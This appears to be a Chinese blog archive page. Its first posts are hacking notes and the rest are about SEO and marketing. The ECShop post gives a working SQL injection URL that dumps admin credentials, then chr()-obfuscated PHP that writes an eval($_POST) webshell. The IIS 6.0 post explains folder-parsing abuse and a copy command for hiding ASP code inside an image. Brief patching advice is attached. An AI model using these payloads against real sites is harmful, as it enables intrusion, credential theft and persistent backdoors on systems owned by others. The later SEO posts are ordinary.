存档
ECSHOP 漏洞入侵
ECSHOP漏洞:
/search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319
在程序根目录后输入上面的地址,7.1 7.2的版本会爆出管理员账号密码
爆出密码之后,用MD5解密密码
然后用管理员账号密码登陆进去,上传webshell的办法有:
1、修改模板库文件 myship ,插入一句话木马,然后根目录:http://xxx.domain.com/myship.php 就是你的一句话木马
2、打印订单:订单模板修改,查看源代码,输入
<-----?-----php
$filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
$filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);
$a=chr(119);
$fp=@fopen($filen,$a);
$msg=@fwrite($fp,$filec);
if($msg) echo chr(79).chr(75).chr(33);
@fclose($fp);
-----?---->
(去掉—–,这里加上去是为了防止wp自动转换掉代码)
然后保存,随便找打订单打印,之后根目录生成null.php的一句话木马,(*^__^*) 嘻嘻……
防范办法:升级到官方最新版2.7.2即可修补漏洞!
IIS 6.0 文件夹漏洞
IIS 6.0文件夹漏洞
如果文件夹为X.asp,那么这个文件夹下面的所有文件都可以执行asp语句,比如在x.asp文件夹上传xxx.gif,那么可以通过xxx.gif图片执行一句话木马
学到的命令:
CMD: copy 1.gif/b+2.asp/b asp.gif
程序漏洞关键词:power by SiteServer
程序漏洞入侵开始抵制:http://yourdomain.com/UserCenter/register.aspx
心得:
1、升级IIS6.0 修补漏洞
2、如果不需要,关闭用户注册
3、设置目录权限
网站内容策划之痛
我一直以为自己策划的网站内容对于营销来说帮助是很大的。其实,往往效果没有您想象的那么好。
做SEO这么久了,给我最大的感觉是,做网站很多结果不是你预期的想象的怎样的就怎样!有些效果可能你觉得没什么效果,但是确实有效果的,有些东西你觉得创作出来很使用让你骄傲自豪,其实可能效果没有那么好。
我认为,任何一个网络营销专家,在对一个从没认真涉足的新的网站类型,他策划的网站内容,不可能百分百的满足游客的需求。
要想做好一个网站的内容,跟做SEO一样,要勤观察,不管你之前经验多丰富,脱离数据的想象都是虚的。
要做好网站内容营销,首先要勤观察商务通,通过商务通跟进用户的访问习惯,通过日常观察,在大量的数据上去分析用户最常访问哪些页面。
一个用户浏览的网页次数一般情况下不会太多,怎样让用户进入首页之后再进入的第二个网页中去打动用户,这个是内容营销的关键。
软文营销之优势
今天软文发布出去两篇,带来三个咨询,其中有一个电话。关于软文营销,我一直挺看好的,我认为一个网站、公司在网络推广中,软文营销是必不可少,因为门户网站传媒在网络传媒中占据了极为重要的作用。
软文的作用,我认为有以下几点:
1、通过软文去优化长尾关键词排名
2、通过软文增强消费者信任
3、通过软文塑造公司形象以及品牌
4、这个秘密暂时不说(说了知道的人多了,行业就会乱!)
关于公司的软文,初期打算第一个月投入500测试效果,下个月投资1000左右。文章发布与17:00,具体效果还有待观察。
今天朋友老叶的一个截图,让我想到了软文还有另外一个作用,哈哈,有收获。下次的文章为大家介绍软文的写作要点。
SEM方案四要素
在深圳呆了快十天了,在XL工作还算习惯,跟之前相比变化很大。现在的状态是上班只做公司的事情,回到家里还会做一些公司的事情。做自己喜欢的事感觉就是不一样。我是一个不服输的人,在XL接手的工作,对我来说是一个挑战,我要赢,我要突破,所以我现在很拼命的努力,希望把自己的想法转变为可行的并且执行出来,给自己四个月的时间!想法一定要通过行动去验证了,才能证明自己!看过一个微薄的某人讲的一句话“思路清晰,剩下的就是执行力”。做好一件事情其实很容易,只要你有清晰的思路,然后有执行力去完成,这样就够了!
我希望四个月之后,我可以突破进入一个新的阶段,无关感情无关薪水无关责任,这是一个挑战,我只想赢!
在做一个项目之前,最起码要有个简单的方案去指导自己的工作,以下是我认为必须具备的四个要素,希望大家批评指点。
1、金钱以及时间成本 2、任务完成时间预测 3、人员分配、任务分配 4、任务指标的考核
本博客会慢慢开始更新,呵呵,真的好懒好久没更新了,更新的内容会更贴近网络营销实战,以及记录一些自己调配人手分配任务的心得体会。
感动:实战营美女学员Livi的SEO培训感想
实战营SEO培训从7月底开始,到现在已经一个多月了,第一期的同学中已经有一部分同学通过培训掌握了很多SEO技术,有的同学通过自己努力的实战做地区SEO这个词已经占据了百度和谷歌的首页,百度还是第一名的位置,第一期的班长将自己公司的网站流量提升了10000IP、收录涨了好几万,非常不错,毕竟只有一个多月的时间。
这里主要讲一下第一期当中的几个完全零基础的同学,他们原来并不从事互联网行业,对建站和SEO等这些知识更是完完全全的小白,而几个完全零基础的同学在这一个月的时间中也有了一份自己的收获。从最开始自己对自己的定位到搭建自己的博客和网站,再到动手开始实战,一步一步,同学们都非常不容易,因为做SEO的朋友都知道SEO需要足够的耐心和执行力的,所以我们为他们感到高兴。
作为一个培训团队的成员,最让我们感觉到高兴和欣慰的,莫过于看着这些同学从无到有,从有到精的成长。他们都怀着一份感恩的心,在努力追寻着他们自己的梦想,而我们则会尽我们最大的努力,引导和指点他们更快更好的走过目前学习的这个阶段。
有位同学已决定明年骑行去西藏,路程超2000多公里,大约需要一个多月的时间,这种毅力非常让我们钦佩,这种决定,说着玩玩容易,真正像他一样现在以一天骑行一百多公里备战,将理想付诸实践的人不多的,因为这需要莫大的勇气。 阅读全文…
一个测试的网站内页收录问题
情况:用的是老域名,怀疑域名之前被降权了,导致内页不收录,不排除有这个可能。
时间:上线到现在一个月了
解决方法:等~~~多一个月~~~
老域名做网站有老域名的好处,认真搞搞流量上的快,不过有些问题也难控制,比如这个域名有没有被降权过!现在唯一能做的就是继续观察!
robots.txt和noindex的选择
robots.txt的disallow和noindex让人感觉是差不多的
但是认真分析一下还是有一些差距的
disallow 蜘蛛直接跳过不爬行,noindex蜘蛛不索引但是会爬行